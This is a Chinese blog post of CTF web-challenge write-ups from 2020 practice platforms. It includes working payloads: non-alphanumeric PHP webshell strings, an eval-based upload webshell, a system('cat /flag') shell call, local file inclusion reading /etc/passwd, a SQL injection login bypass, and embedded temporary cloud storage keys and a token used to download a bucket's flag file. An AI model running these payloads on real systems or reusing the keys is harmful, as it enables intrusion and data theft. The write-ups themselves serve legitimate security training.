八月,CTF练习-Web

2020/7/10-2020/8/30

CTFHUB

西普杯—2016

2016-西普杯京津冀信息安全挑战赛-Web-web01

访问robots.txt,会发现解此题必须先完成re2,拿到密码才可以进行操作。

re2逆向分析完毕得到admin,328du919sud9

登陆后提示”Flag is Not Here!”

抓包看了下,发现cookie里的is_login有点可疑

将is_login=0改为1,即可拿到flag。

2016-西普杯京津冀信息安全挑战赛-Web-web02

访问robots.txt,发现提示信息

确定cms为Vwins

通过GET添加"allowed=*"来绕过上传限制

2016-西普杯京津冀信息安全挑战赛-Web-web03

待完成。。。

http://lab.seclover.com/?p=233

第五空间智能安全大赛—2020

2020-第五空间智能安全大赛-Web-hate-php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
error_reporting(0);
if(!isset($_GET['code'])){
    highlight_file(__FILE__);
}else{
    $code = $_GET['code'];
    if (preg_match('/(f|l|a|g|\.|p|h|\/|;|\"|\'|\`|\||\[|\]|\_|=)/i',$code)) { 
        die('You are too good for me'); 
    }
    $blacklist = get_defined_functions()['internal'];
    foreach ($blacklist as $blackitem) { 
        if (preg_match ('/' . $blackitem . '/im', $code)) { 
            die('You deserve better'); 
        } 
    }
    assert($code);
}

多种解法,过滤的很严,主要就是无字符webshell

参考:https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html

本地测试

1
2
3
4
5
<?php
    $str = urlencode(~'phpinfo');
    echo $str;
?>
//%8F%97%8F%96%91%99%90

然后传递时再次取反

payload

1
?code=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%93%9E%98%D1%8F%97%8F)

另外一种

利用highlight_file函数打印flag.php内容

1
?code=(~%97%96%98%97%93%96%98%97%8B%A0%99%96%93%9A)(~%99%93%9E%98%D1%8F%97%8F)

BUUOJ

ACTF—2020

[ACTF2020 新生赛]-BackupFile

访问提示”Try to find out source file!”,寻找备份文件。

这里盲猜”index.php.bak”,当然也可以用扫描器扫一下。

得到代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
include_once "flag.php";

if(isset($_GET['key'])) {
    $key = $_GET['key'];
    if(!is_numeric($key)) {
        exit("Just num!");
    }
    $key = intval($key);
    $str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
    if($key == $str) {
        echo $flag;
    }
}
else {
    echo "Try to find out source file!";
}

传递的key参数必须为数字型,且与str变量值相等。
注意是弱比较”==”

直接构造 index.php?key=123

即可得到flag

[ACTF2020 新生赛]-Exec

比较简单的一道命令注入题目

[ACTF2020 新生赛]-include

简单任意文件包含漏洞,多种解法

1
2
/?file=/etc/passwd
/?file=php://filter/read=convert.base64-encode/resource=flag.php

###

[ACTF2020 新生赛]-include

文件上传漏洞,js验证,但是后端有过滤了几种后缀

这里直接上传的 .phtml 类型文件。

1
/uplo4d/b284530b9d2636c66a4e6f32315ccac3.phtml?cmd=system(%27cat%20/flag%27);

极客大挑战—2019

[极客大挑战 2019]-Upload

文件上传漏洞

对文件后缀做了限制,发现”.phtml”、”.htaccess”类型后缀可以上传

对文件内容做了检测,不能包含<?字符,必须是图片格式

图片格式可用”GIF89a”绕过

文件内容用<script language="php">指定语言为php

1
<script language="php">eval($_GET['cmd']);</script>

成功上传后文件会在”upload”目录下

[极客大挑战 2019]-Http

查看源码发现了一个”Secret.php”文件

访问该文件,第一关”It doesn’t come from ‘https://www.Sycsecret.com'"

修改Referer

第二关”Please use “Syclover” browser”

修改User-Agent

第三关”No!!! you can only read this locally!!!”

修改XFF信息

[极客大挑战 2019]-Knife

页面提示”我家菜刀丢了,你能帮我找一下么eval($_POST[“Syc”]);”

并没有其他提示,盲猜index.php为shell

蚁剑连接得到flag。

[极客大挑战 2019]-Havefun

查看源码发现注释代码

1
2
3
4
5
6
7
<!--
$cat=$_GET['cat'];
echo $cat;
if($cat=='dog'){
echo 'Syc{cat_cat_cat_cat}';
}
-->

如果cat参数的值为dog,得到flag

1
/?cat=dog

[极客大挑战 2019]-Secret File

查看源码发现有一个”Archive_room.php”文件

访问得到另一个php文件,访问会跳转到end.php

1
2
3
4
5
6
7
curl http://eda7751c-1502-4f22-ad1d-56d45abb0629.node3.buuoj.cn/action.php
<!DOCTYPE html>
<html>
<!--
   secr3t.php
-->
</html>

得到”secr3t.php”文件
访问得到代码,代码审计,但是过滤了”../“等

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<html>
<title>secret</title>
<meta charset="UTF-8">
<?php
highlight_file(__FILE__);
error_reporting(0);
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag放在了flag.php里
?>
</html>

直接php流读flag.php

1
secr3t.php?file=php://filter/read=convert.base64-encode/resource=flag.php

[极客大挑战 2019]-BuyFlag

pay.php页面得到提示

1
2
3
4
5
6
7
8
9
10
11
<!--
~~~post money and password~~~
if (isset($_POST['password'])) {
$password = $_POST['password'];
if (is_numeric($password)) {
echo "password can't be number</br>";
}elseif ($password == 404) {
echo "Password Right!</br>";
}
}
-->

POST一个password参数,弱类型比较,需绕过is_numeric函数

传递password=404a即可绕过。

发送数据包又提示必须是学生才能购买flag,此时注意到cookie里的user的值为0,改为1即可

然后又提示无法购买,因为没有钱,此时应该传递money参数,因为价格值比较大需要绕过,空数组绕过或者科学计数法

you are Cuiter Password Right! Pay for the flag!!!hacker!!!

1
curl -b "user=1" -X POST -d "password=404a&money=1e9" http://f66a562d-3b7c-4005-89ba-95103ed3ce8f.node3.buuoj.cn/pay.php

[极客大挑战 2019]-PHP

[极客大挑战 2019]-EasySQL

注入,万能密码进入得到flag

1
check.php?username=admin%27+or+1=1+%23&password=2131231

GeekPwn云靶场挑战赛-2020

web-cosplay!

访问题目是一个上传接口,尝试上传文件进行拦包发现没有数据传输。

页面有js源码,格式化整理

cos.js

访问接口获得临时密钥和token

1
http://110.80.136.44:21061/GetTempKey?path=/upload

腾讯云cos的官方文档

1
https://cloud.tencent.com/document/product/436/12269

使用Python SDK

1
pip install -U cos-python-sdk-v5

先获取到存储库中的文件列表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# -*- coding=utf-8
# appid 已在配置中移除,请在参数 Bucket 中带上 appid。Bucket 由 BucketName-APPID 组成
# 1. 设置用户配置, 包括 secretId,secretKey 以及 Region
from qcloud_cos import CosConfig
from qcloud_cos import CosS3Client
import sys
import logging

logging.basicConfig(level=logging.INFO, stream=sys.stdout)

secret_id = 'AKIDI3mGJj1_-HuuyZjf_VMzWTgN-XrVNlKDfjhBtvUT3cWhkdqtQdq2lqSFgEJJSBTl' # 替换为用户的 secretId
secret_key = 'APG7JBj2tKd/PP2R2bJS3BKQkGzLUrmuf0MEabRZWzY=' # 替换为用户的 secretKey
region = 'ap-shanghai' # 替换为用户的 Region
token = 'KOsNuiFiydOayuDdi1cUWqkJKBWbT8LM753824bf1ed5c00a6900daf7098d7528bv6S6KuE4B-QEYTDCVgTNM-yQaipGqDcAm3mlgS9LRqf6Ulqr2007eItzXcfrlnozHOlUW0vEqAhbP3dQ54iZndm-qQDAK3uuXew2q1rI3Q8W8UYIHrwhPxfRoNJ9ysWB7g1Z0aBkNQxFkEV5CFrqcYQs3kRLmSnqBcCvIRSHADofCplyzzHeHrg7DdfDohn-E9CDazuWxNtfjHIY85QYfc7e4dW9u8IO0w2jzM-7gYfvcf5CoqXsELAtbBiiZnsoK2HspQy1Xf4zkj82hxmy6adhhagz9RDMmJByfSYGEkxeQaMsFCuE-3Hs4Dr8xneOWjnV0A4iD5atIr4r1HO5CBSxVY2YZh63c5J-7U9tD4' # 使用临时密钥需要传入 Token,默认为空,可不填
#scheme = 'https' # 指定使用 http/https 协议来访问 COS,默认为 https,可不填
config = CosConfig(Region=region, SecretId=secret_id, SecretKey=secret_key, Token=token)
# 2. 获取客户端对象
client = CosS3Client(config)
# 参照下文的描述。或者参照 Demo 程序,详见 https://github.com/tencentyun/cos-python-sdk-v5/blob/master/qcloud_cos/demo.py
#### 获取文件到本地
response = client.list_objects(
Bucket='933kpwn-1253882285',
)
print(response)

找到flag文件直接下载到本地

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# -*- coding=utf-8
# appid 已在配置中移除,请在参数 Bucket 中带上 appid。Bucket 由 BucketName-APPID 组成
# 1. 设置用户配置, 包括 secretId,secretKey 以及 Region
from qcloud_cos import CosConfig
from qcloud_cos import CosS3Client
import sys
import logging

logging.basicConfig(level=logging.INFO, stream=sys.stdout)

secret_id = 'AKIDI3mGJj1_-HuuyZjf_VMzWTgN-XrVNlKDfjhBtvUT3cWhkdqtQdq2lqSFgEJJSBTl' # 替换为用户的 secretId
secret_key = 'APG7JBj2tKd/PP2R2bJS3BKQkGzLUrmuf0MEabRZWzY=' # 替换为用户的 secretKey
region = 'ap-shanghai' # 替换为用户的 Region
token = 'KOsNuiFiydOayuDdi1cUWqkJKBWbT8LM753824bf1ed5c00a6900daf7098d7528bv6S6KuE4B-QEYTDCVgTNM-yQaipGqDcAm3mlgS9LRqf6Ulqr2007eItzXcfrlnozHOlUW0vEqAhbP3dQ54iZndm-qQDAK3uuXew2q1rI3Q8W8UYIHrwhPxfRoNJ9ysWB7g1Z0aBkNQxFkEV5CFrqcYQs3kRLmSnqBcCvIRSHADofCplyzzHeHrg7DdfDohn-E9CDazuWxNtfjHIY85QYfc7e4dW9u8IO0w2jzM-7gYfvcf5CoqXsELAtbBiiZnsoK2HspQy1Xf4zkj82hxmy6adhhagz9RDMmJByfSYGEkxeQaMsFCuE-3Hs4Dr8xneOWjnV0A4iD5atIr4r1HO5CBSxVY2YZh63c5J-7U9tD4' # 使用临时密钥需要传入 Token,默认为空,可不填
#scheme = 'https' # 指定使用 http/https 协议来访问 COS,默认为 https,可不填
config = CosConfig(Region=region, SecretId=secret_id, SecretKey=secret_key, Token=token)
# 2. 获取客户端对象
client = CosS3Client(config)
# 参照下文的描述。或者参照 Demo 程序,详见 https://github.com/tencentyun/cos-python-sdk-v5/blob/master/qcloud_cos/demo.py
#### 获取文件到本地
response = client.get_object(
Bucket='933kpwn-1253882285',
Key='f1L9@/flag.txt',
)
response['Body'].get_stream_to_file('output.txt')

fp = response['Body'].get_raw_stream()
print(fp.read())
文章作者: Linuz
文章链接: https://linuz.me/2020/08/30/CTF-August-Practice-Web/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Linuz's Blog
敢不敢赏脸一次